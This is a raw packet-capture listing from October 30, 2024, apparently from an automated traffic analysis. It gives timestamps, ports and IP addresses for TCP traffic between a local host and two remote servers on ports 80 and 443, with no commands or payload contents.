Oct 30, 2024 11:46:47.868319988 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.868343115 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.868498087 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.868536949 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.868561983 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.868597984 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.939971924 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.940062046 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.940083981 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.940099001 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.940110922 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.940113068 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.940110922 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.940125942 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.940143108 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.940143108 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.940177917 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.940629959 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.940660954 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.940679073 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.940706968 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.940824986 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.940838099 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.940850019 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.940872908 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.940917015 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.941235065 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.941282034 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.941317081 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.941329002 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.941360950 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.941374063 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.983866930 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.983890057 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.983901978 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.983913898 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.983925104 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:47.984021902 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:47.984147072 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.024976969 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.024991989 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.025002956 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.025063038 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.025108099 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.055649996 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.055665970 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.055676937 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.055689096 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.055701017 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.055772066 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.055816889 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.057929039 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.058000088 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.058070898 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.058120012 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.058262110 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.058314085 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.058446884 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.058459044 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.058470964 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.058511019 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.058543921 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.099095106 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.099108934 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.099118948 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.099189997 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.099200964 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.099226952 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.099262953 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.099265099 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.099275112 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.099284887 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.099320889 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.099343061 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.140289068 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.140307903 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.140317917 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.140405893 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.151074886 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:48.151140928 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:48.151190996 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:48.151220083 CET	58194	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:48.151266098 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:48.151309013 CET	58194	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:48.151324034 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:48.151670933 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:48.151715040 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:48.151724100 CET	58194	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:48.151735067 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:48.151770115 CET	58194	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:48.152081966 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:48.171266079 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.171302080 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.171324015 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.171335936 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.171346903 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.171447992 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.171447992 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.171447992 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.171447992 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.171492100 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.171555042 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.171566010 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.171581984 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.171598911 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.171611071 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.171634912 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.172070026 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.172113895 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.172116995 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.172164917 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.205121040 CET	58194	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:48.205161095 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:48.214457035 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.214513063 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.214530945 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.214569092 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.214587927 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.214624882 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.214631081 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.214637041 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.214828968 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.252005100 CET	58194	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:48.255476952 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.255497932 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.255508900 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.255563974 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.255599976 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.279563904 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:48.279617071 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:48.279649019 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:48.279680967 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:48.279736996 CET	58194	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:48.279794931 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:48.279809952 CET	58194	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:48.279817104 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:48.279860973 CET	58194	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:48.280488968 CET	58194	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:48.280508041 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:48.280517101 CET	58194	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:48.280522108 CET	443	58194	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:48.287491083 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.287508011 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.287543058 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.287554979 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.287574053 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.287604094 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.287642956 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.287791014 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.287802935 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.287816048 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.287828922 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.287866116 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.287926912 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.287962914 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.288367033 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.288404942 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.288420916 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.288433075 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.288444996 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.288459063 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.288477898 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.292094946 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.328505993 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.328562021 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.328592062 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.328627110 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.329842091 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.329885960 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.329904079 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.329931974 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.329941034 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.329965115 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.329988003 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.330001116 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.330013037 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.330022097 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.330065012 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.371001005 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.371014118 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.371025085 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.371062040 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.371093988 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.402170897 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.402199030 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.402211905 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.402223110 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.402234077 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.402240992 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.402265072 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.402298927 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.402548075 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.402559996 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.402570963 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.402582884 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.402585030 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.402594090 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.402604103 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.402633905 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.403320074 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.403332949 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.403345108 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.403366089 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.403384924 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.403384924 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.445502043 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.445548058 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.445667982 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.445679903 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.445693016 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.445705891 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.445708036 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.445732117 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.445743084 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.445764065 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.445919037 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.445930004 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.445956945 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.445971012 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.486479044 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.486527920 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.486537933 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.486541033 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.486563921 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.486583948 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.517604113 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.517617941 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.517628908 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.517676115 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.517688990 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.517700911 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.517720938 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.517760038 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.518069029 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.518080950 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.518095970 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.518120050 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.518137932 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.518176079 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.518188953 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.518213034 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.518234015 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.518831968 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.518868923 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.518882036 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.518882036 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.518902063 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.518908024 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.518919945 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.518920898 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.518940926 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.518956900 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.561090946 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.561176062 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.561188936 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.561187983 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.561202049 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.561213017 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.561214924 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.561234951 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.561279058 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.602031946 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.602046013 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.602057934 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.602240086 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.602240086 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.633032084 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.633047104 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.633059025 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.633094072 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.633105040 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.633115053 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.633133888 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.633166075 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.633519888 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.633532047 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.633543015 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.633554935 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.633567095 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.633569002 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.633595943 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.633613110 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.634114027 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.634154081 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.634160042 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.634187937 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.634325027 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.634336948 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.634349108 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.634357929 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.634360075 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.634382963 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.634397984 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.676667929 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.676696062 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.676722050 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.676726103 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.676734924 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.676748037 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.676759958 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.676762104 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.676774025 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.676776886 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.676780939 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.676805973 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.676809072 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.676835060 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.676861048 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.717591047 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.717602968 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.717612982 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.717669964 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.717714071 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.748311996 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.748394966 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.748516083 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.748527050 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.748538017 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.748552084 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.748563051 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.748564005 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.748598099 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.748608112 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.748859882 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.748869896 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.748883009 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.748897076 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.748900890 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.748924971 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.748946905 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.749291897 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.749325991 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.749346018 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.749365091 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.749490976 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.749507904 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.749519110 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.749531031 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:48.749532938 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:48.749540091 CET	58193	80	192.168.2.7	185.215.113.16
